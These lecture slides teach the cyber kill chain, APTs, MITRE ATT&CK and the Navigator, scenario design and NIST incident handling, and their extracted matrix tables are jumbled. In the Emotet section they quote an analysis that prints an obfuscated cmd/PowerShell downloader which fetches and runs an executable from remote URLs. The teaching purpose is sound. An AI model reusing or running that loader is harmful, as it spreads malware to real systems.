

Cyber attack scenarios and the Mitre Att&ck Framework

A. Ravishankar Rao Ph.D IEEE Fellow Al and Cybersecurity Organized by Dr. Maksim Iavich and the team Caucasus University and Scientific Cyber Security Association








Background

- This module covers topics from cybersecurity scenario development using the Lockheed Martin's Kill Chain, Advanced Persistent Threats (APTs) and MITRE ATT&CK,
- The learning components are based on those found in the National Institute of Standards and Technology (NIST) Special Publication (SP) 800-61 r2
- This material was initially developed by Guillermo A. Francia, III, Ph.D.and Gregory A. Hall, Ph.D. at the Center for Cybersecurity at the University of West Florida
- Dr. Rao attended a Faculty Development Workshop in 2022 where this material was covered.
- Dr. Rao has adapted this material and added some of his own content and perspectives.



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Attack.mitre.org



ATT&CK[®]

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MITRE ATT&CK[®] is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.

With the creation of ATT&CK, MITRE is fulfilling its mission to solve problems for a safer world – by bringing communities together to develop more effective cybersecurity. ATT&CK is open and available to any person or organization for use at no charge.



ATT&CK v14 has been released. We hope everyone will enjoy our latest treats!






https://attack.mitre.org/resources/getting-started/

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MITRE ATT&CK	Matrices - Tactics - Techniques - Defenses - CTI - Resources - Benefactors Blog
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Versions of ATT&CK	
Related Projects	Working with ATT&CK
Brand Guide	Here are some resources on the ATT&CK infrastructure to help you work with the content to accomplish these use cases.
Benefactors	
Privacy Policy	 Interfaces for Working with ATT&CK: This page describes how you can programmatically access ATT&CK content using STIX/TAXII as well as Excel.
Terms of Use	• ATT&CK Navigator: The ATT&CK Navigator is designed to provide basic navigation and annotation of ATT&CK matrices. You can use the Navigator
Changelog	to visualize defensive coverage, your red/blue team planning, or anything else you what to do with ATT&CK. If you want to get started immediately, a hosted instance is available here.
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RESOURCES General Information	Tools for working with A	ATT&CK
Contribute Training ATT&CKcon Working with ATT&CK FAQ Updates Versions of ATT&CK Related Projects Brand Guide Benefactors	The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more.	Burdenson Burdenson





https://mitre-attack.github.io/attack-navigator/

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MITRE ATT&CK® Navigator

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more.

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
ATT&CK v14 has been released! Check out the blog post or release notes for more information.

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Reconnaissance 10 techniques	Resource Development 8 techniques	Initial Access 10 techniques	Execution 14 techniques	Persistence 20 techniques	Privilege Escalation 14 techniques	Defense Evasion 43 techniques	Credential Access 17 techniques		Lateral Movement 9 techniques	★, 〒, IA ♥ Collection 17 techniques		Exfiltration 9 techniques	I, E, G, E, X
Active Scanning (0/3)	Acquire Access	Content Injection	Cloud Administration Command	Account Manipulation	Abuse Elevation Control Mechanism	Abuse Elevation Control Mechanism (0/5)	Adversary-in-the- Middle (0/3)	Account Discovery (0/4)	Exploitation of Remote Services	Adversary-in-the- Middle (0/3)	Application Layer Protocol (0/4)	Automated Exfiltration (0/1)	Account Access Removal
Gather Victim Host Information (0/4)	Acquire Infrastructure	Drive-by Compromise	Command and	(0/6) BITS Jobs	(0/5)	Access Token Manipulation	Brute Force (0/4)	Application Window Discovery	Internal Spearphishing	Archive Collected	Communication	Data Transfer Size	Data Destruction
Gather Victim Identity Information (0/3)	Compromise Accounts	Exploit Public-Facing Application	Scripting Interpreter (0/9)	Boot or Logon Autostart Execution	Access Token Manipulation (0/5)	BITS Jobs	Credentials from Password Stores	Browser Information Discovery Cloud Infrastructure Discovery	Lateral Tool Transfer	Data (0/3) Audio Capture	Through Removable Media	Limits Exfiltration Over	Data Encrypted for Impact Data Manipulation (0/3)
Gather Victim Network	Compromise	External Remote	Container Administration	(0/14)	Account Manipulation (0/6)	Build Image on Host	Exploitation for	Cloud Service Dashboard	Remote Service Session Hijacking (0/2)	Automated	Content Injection	Alternative Protocol (0/3)	Defacement (0/2)
nformation (0/6) Sather Victim Org	Develop Capabilities	Services Hardware Additions	Command	Boot or Logon Initialization Scripts	Boot or Logon Autostart Execution	Debugger Evasion	Credential Access	Cloud Service Discovery	Remote Services (0/8)	Collection Browser Session	Data Encoding (0/2)	Exfiltration Over C2	Disk Wipe (0/2)
Information (0/4)	(0/4)	Phishing (0/4)	Deploy Container Exploitation for Client	(0/5) Browser Extensions	(0/14)	Deobfuscate/Decode Files or Information	Forced Authentication Forge Web	Cloud Storage Object Discovery	Replication Through Removable Media	Hijacking	Data Obfuscation (0/3) Dynamic Resolution	Channel Exfitration Over	Endpoint Denial of Service (0/4)
Phishing for Information	Establish Accounts	Replication Through	Execution	Compromise Client	Boot or Logon Initialization Scripts	Deploy Container	Credentials (0/2)	Container and Resource	Software Deployment	Clipboard Data	(0/3)	Other Network Medium	Financial Theft
Search Closed Sources	Obtain Capabilities	Removable Media Supply Chain	Inter-Process Communication (0/3)	Create Account	(0/5) Create or Modify	Direct Volume Access	Input Capture (0/4) Modify Authentication	Discovery Debugger Evasion	Tools Taint Shared Content	Data from Cloud Storage	Encrypted Channel (0/2) Fallback Channels	Exfiltration Over Physical Medium	Firmware Corruption
(0/2) Search Open Technical	Stage Capabilities	Compromise (0/3)	Native API	Create or Modify	System Process (0/4)	Domain Policy Modification	Process (0/8)	Device Driver Discovery	Use Alternate	Data from Configuration	Ingress Tool Transfer	(0/1)	Inhibit System Recovery
Databases (0/5)		Trusted Relationship	Scheduled Task/Job	System Process (0/4)	Domain Policy Modification (0/2)	Execution Guardrails (0/1)	Multi-Factor Authentication	Domain Trust Discovery	Authentication II Material (0/4)	Repository (0/2)	Multi-Stage Channels	Exfiltration Over Web Service (0/4)	(0/2) Network Denial of Service
Search Open Websites/Domains _(0/3)		Valid Accounts (0/4)	Serverless Execution	Event Triggered Execution (0/16)	Escape to Host	Exploitation for Defense Evasion	Interception Multi-Factor	File and Directory Discovery		Data from Information Repositories	Non-Application Layer Protocol	Scheduled Transfer	Resource Hijacking
Search Victim-Owned Websites			Shared Modules	External Remote Services	Event Triggered Execution (0/16)	Eile and Directory Permissions	Authentication	Group Policy Discovery		Data from Local	Non-Standard Port	Transfer Data to Cloud Account	Service Stop
			Software Deployment Tools	Hijack Execution Flow	Exploitation for Privilege Escalation	Modification (0/2) Hide Artifacts (0/1)	Network Sniffing	Log Enumeration Network Service Discovery		System Data from Network	Protocol Tunneling		System Shutdown/Reboot
			System Services (0/2)	(0/12) Implant Internal	Hilack Execution	Hijack Execution Flow (0/12)	OS Credential Dumping (0/8)	Network Share Discovery		Shared Drive	Proxy (0/4)		
			User Execution (0/3) Windows Management	Modify Authentication	Flow (0/12) Process Injection	Impair Defenses (0/11)	Steal Application Access Token	Network Sniffing		Data from Removable Media	Remote Access Software		
			Instrumentation	Process (0/8)	(0/12)	Impersonation	Steal or Forge	Password Policy Discovery		Data Staged (0/2)	Traffic Signaling (0/2)		
				Office Application Startup (0/6)	Scheduled Task/Job	Indicator Removal (0/9)	Authentication Certificates	Peripheral Device Discovery		Email Collection (0/3)	Web Service (0/3)		
				Power Settings	Valid Accounts (0/4)	Masquerading (0,9)	Steal or Forge Kerberos Tickets (0/4)	Permission Groups Discovery (0/3)		Input Capture (0/4) Screen Capture			
				Pre-OS Boot (0/5)	1	Modify Authentication Process	Steal Web Session	Process Discovery		Video Capture			
				Scheduled Task/Job (0/5)		(0/8) Modify Cloud Compute	Cookie	Query Registry					
				Server Software Component (0/5)		Infrastructure (0/5)	Unsecured Credentials (0/8)	Remote System Discovery Software Discovery					
				Traffic Signaling (0/2)		Modify Registry		System Information Discovery	-				
				Valid Accounts (0/4)		Modify System Image (0/2) Network Boundary Bridging	"	System Location Discovery					
						(0/1)	11	(0/1)					







Cyber Kill Chain, APTs, and MITRE ATT&CK

 The following material was developed by Dr. Hall at University of West Florida



Cyber Kill Chain

- The term **kill chain** is a military concept related to the structure of an attack; consisting of target identification, force dispatch to target, decision and order to attack the target, and finally the destruction of the target
 - <u>https://en.wikipedia.org/wiki/Kill_chain</u>
- Developed by Lockheed Martin, the cyber kill chain framework identifies what the adversaries must complete in order to achieve their objective
 - <u>https://www.lockheedmartin.com/en-</u> us/capabilities/cyber/cyber-kill-chain.html



Advanced Persistent Threat

- Cyber attacks occur at varying levels of sophistication and skill
 - Targets of opportunity based on detected vulnerability
 - Personally motivated attacks against individuals and organizations
 - Short duration data theft
 - Advanced Persistent Threat (APT)
 - Sophisticated attacker, carefully chosen target
 - Longer duration taking steps to avoid detection



Advanced Persistent Threat (APT)

- Advanced
 - Targeted
 - Coordinated
 - Purposeful
- Persistent
 - Month after Month, Year after Year
- Threat
 - Person(s) with Intent, Opportunity, and Capability



Cyber Kill Chain

The Lockheed Martin Cyber Kill Chain consists of seven mission stages

- 1. Reconnaissance
- 2. Weaponization
- 3. Delivery
- 4. Exploitation
- 5. Installation
- 6. Command & Control (C2)
- 7. Actions on Objectives



With 'Hands on Keyboard' access, intruders accomplish their original goals



Reconnaissance

- An adversary must determine when, where, and how to attack a target
- Attack surface refers to the areas accessible to the adversary for targeting
- Reconnaissance is the stage of an attack where the adversary identifies the attack surface
 - Network topology scanning
 - Email address collection
 - Dumpster diving



Weaponization

- The next stage in a cyber attack, after the attack surface is defined, involves crafting a cyber "weapon" meant to breach the attack surface
 - Reconnaissance might detect an accessible server with a known vulnerability, an existing exploit could be used in this stage
 - A zero-day vulnerability might be available to the advanced threat actor
 - The result of weaponization is the development of a payload to use in the attack



Delivery

- At this stage, the adversary has identified an aspect of the attack surface to target and crafted a payload to deploy against the target
- Delivery is the stage involved in delivering the payload to the target
 - Email phishing attack
 - Drive-by download
 - Infected media
 - Insider threat



Exploitation

- Upon successful delivery of the payload to the target, the payload must then be triggered against the attack surface
- Successful payload deployment (weapon impact) will exploit the vulnerability and compromise the target environment
 - Execute code on victim's system
 - Stage 1 malware of an APT
- For non-persistent attacks, this may be sufficient (cyber vandalism)



Installation

- An APT seeks persistence, so the initial payload has a goal of establishing long-term presence in the target environment
- The stage 1 malware (initial payload) often reaches back to the adversary after successful exploitation for a more sophisticated stage 2 agent
- Stage 1 receives the stage 2 agent and installs it in the target environment and then typically attempts to delete itself



Command & Control (C2)

- Upon installation of the malware, the adversary has now established a persistent presence within the target environment
- This usually involves opening a channel of communication back to the adversary to receive additional commands and instructions
 - Remote Administration Tools (RAT)
- These C2 systems typically hide their communications in common protocols and normal looking traffic



Actions on Objectives

- This is the stage of a cyber attack where the adversary begins to achieve their goal on the target
 - Spying on target activities
 - Stealing intellectual property
 - Data corruption, destruction, misrepresentation
 - Crypto-mining
 - Botnet creation
 - Launching attacks on other targets



MITRE ATT&CK Frameworks

- MITRE developed ATT&CK frameworks as a more technically detailed characterization of cyber attacks
 - Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)
- There are three high-level frameworks
 - Enterprise, Mobile, ICS
- The stages of cyber attacks are very similar to the kill chain, but ATT&CK breaks some stages into multiple options and gets into specifics about "how" to perform a stage



MITRE ATT&CK Matrix for Enterprise

- PRE*
- Reconnaissance
- Resource Development
 Lateral Movement
- Initial Access
- Execution
- Persistence
- Privilege Escalation
- Defense Evasion

- Credential Access
- Discovery
- Collection
- Command and Control
- Exfiltration



ATT&CK Matrix for Enterprise

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show sub-techniques hide sub-techniques

Reconnaissance Resource Development 7 techniques	Initial Access 9 techniques	Execution 12 techniques	Persistence 19 techniques	Privilege Escalation 13 techniques	Defense Evasion 40 techniques	Credential Access 15 techniques	Discovery 29 techniques	Lateral Movement 9 techniques	Collection 17 techniques	Command and Control 16 techniques	Exfiltratio 9 technique
Active Scanning (2) Information (6) Gather Victim Identity Compromise Information (3) Compromise (1) Gather Victim Identity Compromise (1) Information (3) Compromise (1) Gather Victim Org Develop Information (6) Establish Accounts (2) I Sather Victim Org Information (6) Information (3) Establish Search Closed Stage Search Open Capabilities (6) Technical I Databases (5) Search Open Search Open Search Open Websites Search Victim-Owned	Drive-by Compromise Exploit Public- Facing Application External Remote Services Hardware Additions Phishing (3) Replication Through Removable Media Supply Chain Compromise (3) Trusted Relationship Valid Accounts (4)	Command and Scripting Interpreter (g)IIContainer Administration CommandIDeploy ContainerExploitation for Client ExecutionIIInter-Process Communication (2)IINative APIScheduled Task/Job (g)IIScheduled Task/Job (g)IIUser Execution (3)IIUser Execution (3)IIWindows Management InstrumentationII	Account Manipulation (4) II BITS Jobs II Bot or Logon Autostart Execution (15) II Boot or Logon Initialization Scripts (5) II Boot or Logon Initialization Scripts (5) II Browser Extensions II Compromise Client Software Binary II Create ar Modify System Process (4) II Event Triggered Execution (15) II External Remote Services II Modify Authentication Flow (11) II Implant Internal Image II Modify Authentication Scheduled Task/Job (6) II Scheduled Service II	Abuse Elevation Control Mechanism (4) Access Token Manipulation (5) Boot or Logon Autostart Execution (15) Boot or Logon Initialization Scripts (5) Create or Modification (2) Escape to Host Event Triggered Execution (15) Flow (11) Process Injection (11) Scheduled Task/Job (6) Valid Accounts (4)	Abuse Elevation Control Mechanism (a) Access Token Manipulation (5) BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification (2) Execution Guardrails (1) Exploitation for Defense Evasion File and Directory Permissions Modification (2) Hide Artifacts (9) Hide Artifacts (9) Indicator Removal on Host (6) Indicator Removal on Host (6) Modify Authentication Process (4) Modify Cloud Compute Infrastructure (4) Modify Registry Modify System	Adversary-in- the-Middle (2) " Brute Force (4) " Credentials from " Password Stores (5) " Exploitation for Credential Access " Forced Authentication " Forge Web Credentials (2) " Input Capture (4) " Modify Authentication " " Process (4) " Network Siffing 0S Credential Dumping (8) " Steal or Forge Kerberos Tickets (4) " Steal or Forge Kerberos Cookie " Steal Web Session Cookie " Costie Two-Factor Authentication Interception "	Account Discovery (4) Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery File and Directory Discovery Resource Scanning Network Service Scanning Network Share Discovery Network Sifting Password Policy Discovery (3) Pripheral Device Discovery (3) Process Discovery Query Registry Remote System Discovery	Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking (2) Remote Services (6) Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication II Material (4)	Adversary-in- the-Middle (2) " Archive Collected Data (3) " Audio Capture Audio Capture Automated Collection " Browser Session " Hijacking " Clipboard Data " Data from Configuration Repository (2) " Data from Local System " Data from Network Shared Drive " Data from Removable Media " Data from Removable " Data from Collection (3) " Data from Collection (3) " Data from Removable " Data from Removable " Data from Collection (3) " Data from Removable " Data from Capture (4) " Video Capture "	Application Layer Protocol (4) I Communication Through Media I Data Encoding (2) I Data Obfuscation (3) I Data Obfuscation (3) I Encrypted Channels I Fallback Channels I Non- Application Layer Protocol I Non- Application Layer Protocol I Protocol Tunneling I Proxy (4) I Remote Access Software I Traffic Signaling (1) I Web Service (3) I	Automated Exfiltration () Data Transfer Size Limits Exfiltration Over Alternative Protocol () Exfiltration Over C2 Channel Exfiltration Over Other Network Medium () Exfiltration Over Web Service (2) Scheduled Transfer Data to Cloud Account



Tactics, Techniques, and Procedures (TTP)

- A TTP defines "how" an adversary might go about accomplishing a cyber attack stage
 - A Tactic is the highest-level description of this behavior
 - **Techniques** give a more detailed description of behavior in the context of a tactic
 - **Procedures** are an even lower-level, highly detailed description in the context of a technique




Stages and TTPs

Beneath each stage in the framework is a list of techniques an adversary might use to accomplish the stage

Each technique is hyper-linked to a detailed page explaining that technique

Techniques have IDs and often associated sub-techniques





T1590 Gather Victim Network Info

Home > Techniques > Enterprise > Gather Victim Network Information

Gather Victim Network Information

Sub-techniques (6)

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).^{[1][2][3]} Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).

ID: T1590

Sub-techniques: T1590.001, T1590.002, T1590.003, T1590.004, T1590.005, T1590.006

- (i) Tactic: Reconnaissance
- Platforms: PRE

Version: 1.0

Created: 02 October 2020

Last Modified: 15 April 2021

Version Permalink



T1590.004 Network Topology

Home > Techniques > Enterprise > Gather Victim Network Information > Network Topology

Gather Victim Network Information: Network Topology

Other sub-techniques of Gather Victim Network Information (6)

Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites).^[1] Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services). ID: T1590.004

- Sub-technique of: T1590
- (i) Tactic: Reconnaissance
- Platforms: PRE
 - Version: 1.0

Created: 02 October 2020

Last Modified: 15 April 2021

Version Permalink



Cybersecurity Scenario Development


- How do I use this to build a relevant and realistic cybersecurity scenario?
- How do I use this to build a hands-on laboratory exercise?



Cyber Threat Missions

The Original #1 Mad Libs





MAD OF LIBS®

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on the cover. If yo	ur friends and fami	ily are no help, try c	hecking out the
Rev	iew in <i>The</i>	Times. If the	
NOUN	A CI		PLURAL NOUN



Cyber Mad Libs

A1	aunches a	against _		During the
Adversary type	Mission ty	/pe	Target organization	on
stag	ge, the Adversary type	performs	t <i>Tactic</i>	hat affects
a	nd results in		Approximately	1
-Resource	Indicator	of Compromis	e	Time interval
later, the <u>Mission stag</u>	e stage begins, whi	ch is performed	l by <i>Tactic</i>	
happening to Resource	leading	^{to} - Indicator o	f Compromise bein	g seen.



Cyber Story Telling

- Scenario design can begin by selecting the most important element and adding additional details
 - I want a ransomware scenario, now I need to consider who would be targeted by the ransom and who the bad actor might be.
 - I want a scenario attacking critical infrastructure, who might attack them and what would their goal be?
 - I want a scenario involving a nation state adversary seeking to steal intellectual property. Who would they target and how would they proceed?




Cyber Story Telling

- The chapters of our cyber story are the stages of the kill chain
- The protagonist is the target of the attack, the antagonist is the adversary
- The type of adversary determine the motive of the antagonist, which drives the type of mission and the kinds of actions that occur in the story
- What the protagonist experiences and witnesses get explained in terms of indicators of compromise in their environment



Adversary Types

- Cyber adversaries are typically categorized as threat actors or threat groups
- The different groups are characterized by their level of sophistication and their goals
- Understanding the motivations of the adversaries helps us to understand what they want to accomplish and what they may target for an attack



Source: Canadian Centre for Cyber Security https://cyber.gc.ca/en/guidance/cyber-threat-and-cyber-threat-actors



Mission Types

- Cyber Threat Actors can engage in a number of missions
 - Identity theft
 - Financial loss
 - Intellectual property theft
 - Reputation damage
 - Data loss
 - Loss of privacy
 - System damage
 - Personal harm
 - Misinformation and Disinformation



Source: Mohamed Hassan / Pixabay



Threat Intelligence

https://cve.mitre.org/

A database of publicly documented vulnerabilities and exploits

Each entry is given a unique number

Log4j is CVE-2021-45105

Description

References

Links to the National Vulnerability Database (NVD)

https://nvd.nist.gov/

CVi	™ C	VE List √	CNAs-	WGs⊤	Board≁	About •	News & Blog-	Go to for: <u>CVSS Scores</u> <u>CPE Info</u>
	Search CVE	List	Downloads	Data Feeds	Update a CVE Re	cord	Request CVE IDs	
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The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.





Threat Intelligence

https://otx.alienvault.com

The community creates pulses Each pulse gets a unique ID

The pulse can provide a variety of data in addition to loCs

Description

Reference

Adversary group

Target

MITRE ATT&CK IDs

		× +												
• • 💿	Campaign Targeting Palestinians													
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https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf



It is downloaded here NIST.SP.800-61r2_Incident_Handling_Guide.pdf



Figure 2-1. Communications with Outside Parties

Example: Guidelines for engaging with the media

- Conduct training sessions on interacting with the media regarding incidents, which should include the importance of not revealing sensitive information, such as technical details of countermeasures that could assist other attackers, and the positive aspects of communicating important information to the public fully and effectively.
- Establish procedures to brief media contacts on the issues and sensitivities regarding a particular incident before discussing it with the media.
- Maintain a statement of the current status of the incident so that communications with the media are consistent and up-to-date.
- Remind all staff of the general procedures for handling media inquiries.
- Hold mock interviews and press conferences during incident handling exercises. The following are examples of questions to ask the media contact:

Pg 32:

Incident Analysis Resources:

- Port lists, including commonly used ports and Trojan horse ports
- **Documentation** for OSs, applications, protocols, and intrusion detection and antivirus products
- Network diagrams and lists of critical assets, such as database servers
- Current baselines of expected network, system, and application activity
- **Cryptographic hashes** of critical files²² to speed incident analysis, verification, and eradication

NOTE: Tripwire is a Linux tool to do automatic checking of hash values of files to see if they were changed. It is now freely available as part of AIDE (advanced intrusion detection environment).

The National Software Reference Library (NSRL) Project maintains records of hashes of various files, including operating system, application, and graphic image files. The hashes can be downloaded from <u>http://www.nsrl.nist.gov/</u>.
 Guide to Test, Training, and Exercise Programs for IT Plans and Capabilities, http://csrc.nist.gov/publications/PubsSPs.html#800-84

Best practices for incident analysis (a sample)


Profile Networks and Systems. Profiling is measuring the characteristics of expected activity so that changes to it can be more easily identified. Examples of profiling are running file integrity checking software on hosts to derive checksums for critical files and monitoring network bandwidth usage to determine what the average and peak usage levels are on various days and times

Keep All Host Clocks Synchronized. Protocols such as the Network Time Protocol (NTP) synchronize clocks among hosts. Event correlation will be more complicated if the devices reporting events have inconsistent clock settings. From an evidentiary standpoint, it is preferable to have consistent timestamps in logs—for example, to have three logs that show an attack occurred at 12:07:01 a.m., rather than logs that list the attack as occurring at 12:07:01, 12:10:35, and 11:07:06.

Use Internet Search Engines for Research. Internet search engines can help analysts find information on unusual activity. For example, an analyst may see some unusual connection attempts targeting TCP port 22912. Performing a search on the terms "TCP," "port," and "22912" may return some hits that contain logs of similar activity or even an explanation of the significance of the port number.

Use of practical scenarios to motivate students

Search for "Mitre attack navigator"



MITRE ATT&CK® Navigator

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more.

	help changelog theme •		
Create New Layer	Create a new empty layer		^
Enterprise	Mobile	ICS	
More Options			~
Open Existing Layer	Load a layer from your computer or a URL		~

Catalog of different attack scenarios and techniques used in attacks

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Sources (0/2) Search Open Technical	Capabilities (0/5)	Supply Chain Compromise (0/3)	Task/Job (0/5) Shared Modules	Create Account (0/3)	Domain Policy Modification _(0/2)	Domain Policy Modification (0/2)	Input Abus	ani Ise El Shani

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Search Victim-Owned		Valid Accounts (0/3)

https://attack.mitre.org/techniques/T1595/

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
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Enterprise	^	G0007	APT28	APT28 has performed large-scale scans in an attempt to find vulnerable servers. ^[2]
Reconnaissance Active Scanning	^	G0016	APT29	APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit. ^[3]
Scanning IP Blocks Vulnerability Scanning		G0143	Aquatic Panda	Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-44228). ^[4]
Wordlist Scanning		G0035	Dragonfly	Dragonfly has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services. ^[5]
Gather Victim Host Information Gather Victim Identity Information	* *	G0059	Magic Hound	Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021- 44228). ^[6]
Gather Victim Network Information Gather Victim Org Information	* *	G0034	Sandworm Team	Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning. ^[7]
Phishing for Information	~	G0139	TeamTNT	TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API. ^[8]
Search Closed Sources Search Open Technical Databases	* *	G0123	Volatile Cedar	Volatile Cedar has performed vulnerability scans of the target server. ^{[9][10]}


APT = advanced persistent threat

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Phishing for Information _(0/3)	Obtain Capabilities _(0/6)	Replication Through Removable	Shared Modules	Compromise Client Software	Create or Modify System Process _(0/1)	Domain Policy Modification (0/2)	Authentica Forge Wel	select all	deselect all
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Search Open Technical Databases _(0/5)		Compromise (0/3)	User Execution (0/2)	Account (0/2)	Escape to Host	Exploitation for Defense Evasion	Capture (0, Modify	Threat Groups (2)	
Search Open Websites/Domains _(0/2)		Relationship	Windows Management Instrumentation	System Process (0/1)	Event Triggered Execution (0/11)	File and Directory Permissions	Authentica Process (0)		
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
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esentutl		used to targ	et the banking sect	or. ^[1]				
eSurv								

https://www.picussecurity.com/resource/blog/emotettechnical-analysis-part-2-powershell-unveiled If you search on the lens, type in apt28. Then go to threat groups, and it shows APT28. It then shows you in blue all the methods used in APT28





- 1. This is a complex tool. You can assign scores, and then keep track of things.
- 2. There are also weblinks to different techniques used in that attack.
- 3. You can also find procedures, tactics, goals, techniques
- 4. Tactics, goals, techniques, procedures etc
- 5. You can look for network sniffing, emotnet etc. This will take you to the mitre website for further details, e.g. attack.mitre.org/software/S0367



https://www.picussecurity.com/resource/blog/emotettechnical-analysis-part-1-reveal-the-evil-code




Süleyman Özarslan, PhD | January 30, 2020

Emotet was first identified in 2014 as a banking malware stealing sensitive and private information. Although Emotet has been used for

Keep up to date with latest blog posts

https://www.picussecurity.com/resource/blog/emotet-technical-analysis-part-2-powershell-unveiled

https://www.picussecurity.com/resource/blog/the-christmascard-you-never-wanted-a-new-wave-of-emotet-is-back-towreak-havoc



the Textbox1, and accessed the following code that is executed by the Interaction. Shell method:

c:\SzCTnucwEfW\SbuaBlErrzYpl\RdPspAGt\..\..\windows\system32\cmd.exe /c %ProgramData:~0, 1%%ProgramData:~9,2% /V:/C"set XhOY=;'JWt'=BTH\$}}{hctac};kaerb;'GGi'=WLb\$;hjk\$ metI-ekovnI{)00008 eg- h tgnel.)hjk\$ metI-teG((fI;'cRO'=iVj\$;)hjk\$,RFw\$(eliFdaolnwoD.lho\${yrt{)YI1\$ ni RFw\$(hcaerof;'exe.'+ori \$+'\'+pmet:vne\$=hjk\$;'njW'=pBF\$;'051' = ori\$;'abm'=vvs\$;)'@'(tilpS.'HgC1qLI06/ln.tfeelc//:ptth@vNdyoSJJX/ setirovaf_dda/moc.tramsyotihsayah.www//:ptth@IzIWsGC4W/moc.srettiftuorevirytinirt.www//:ptth@vJwloS1p/mo c.kokgnabpac.www//:ptth@dhvXN9L/moc.ierebewneedi.www//:ptth'=YI1\$;tneilCbeW.teN tcejbo-wen=lho\$;'VfD'=vSK \$ llehsrewop&&for /L %V in (497,-1,0)do set xJWn=!xJWn!!XhOY:~%V,1!&&if %V==0 call %xJWn:~6%"

We see a heavily obfuscated code to make detection difficult, the only clear part of the code is

c:\SzCTnucwEfW\SbuaBlErrzYpl\RdPspAGt\..\..\windows\system32\cmd.exe. As seen on this part of the code, three random directories are added after c:\ to bypass weak security controls, then three \.. are added to traverse back to c:\. Therefore, the obtained path is c:\windows\system32\cmd.exe that runs the subsequent commands.


However, those commands are also obfuscated:

You can create different layers in the Mitre tool.

Each can be colored differently. So you can get an overall birds eye view of what attacks are happening.

You can assign them different scores as well.

All this gets very complicated! But also very interesting.



Suppose APT3 and APT28 are targeting your company. They you color code these threats and find out what is in common between these two threats. Then you should allocate more resources to protect your company based on what is common. That is one use case.

APT = Advanced Persistent Threat

You can color different layers using this palate.. For instance, you could have threats colored according to the MITRE threat kill chain. Then, one use case is if you are in a triage stage, you can go after the ones with the most risk (ie at the most advanced penetration stage).

Another use case is that you want to prevent future attacks. In this use case, you will go after the early stages, ie reconnaissance etc. If you cut off those jobs, you will prevent future attacks.

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Trusted Relationship	System Services (0/0)	Create Account (0/2)	Event	Hide Artifacts (0/7)	Capture (0/3)	Network Sniffing	Software Deployment	Data from Local System	Encrypted Channel (0/2)	II Me	edium _(0/1)	Firmwa	
Valid Accounts (0/3)	User Execution (0/2)	Create or Modify System	Triggered Execution (0/2)	Hijack Execution Flow (0/1)	Modify Authentication Process (0/1)	Password Policy Discovery	Tools Taint Shared	Data from Network Shared	Fallback Channels	Ext	filtration ver Physical edium _(0/1)	I Inhibit Recove	t System ery
(0(3)	-	Process (0/1) Event Triggered	Exploitation for Privilege Escalation	Impair Defenses (0/5)	Multi-Factor Authentication	Peripheral Device Discovery	Content	Drive Data from	Ingress Tool Transfer	Ext	filtration ver Web	Netwo Service	ork Denia ie _(0/2)
		Execution (0/2)	Hijack Execution	Indicator Removal on Host (0/4)	Interception Multi-Factor	Permission Groups Discovery (0/2)		Removable Media	Multi-Stage Channels		rvice _(0/2) heduled	Resou Hijacki	irce
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		Hijack Execution	Process	Modify Authentication	Generation	Remote Sustem		Email	Application	- Iot		Sustan	~

About Mitre.org and the att&ck framework

- 1. The framework itself is very powerful.
- 2. This is part of an open source movement. The threats and the landscape are constantly updated.
- 3. What is the use of the APTs, e.g. APT2?
 - 1. Organizations like banks will make sure that they are robust with respect to the threats in APT2.
 - 2. It is the job of their security analysts to protect their systems.
 - 3. You need to make sure that at least for the known attack strategies you have created an adequate defense.
- Many attackers use a group of common techniques they have their own signatures. That is how the Bangladesh bank attack was traced to North Korea – there were several common techniques that they used together in that attack.


Exfiltration

- 1. A hacker could steal your file and put it on the internet. If you had computed the SHA256 hash of this file on your system, you can compare it with the hash of the file on the internet.
- 2. If they are the same, you know that it is the same file that was stolen from you!
- 3. This is another reason why storing the SHA256 values of your files is a best practice (as mentioned earlier).

Search for "Mitre attack navigator"


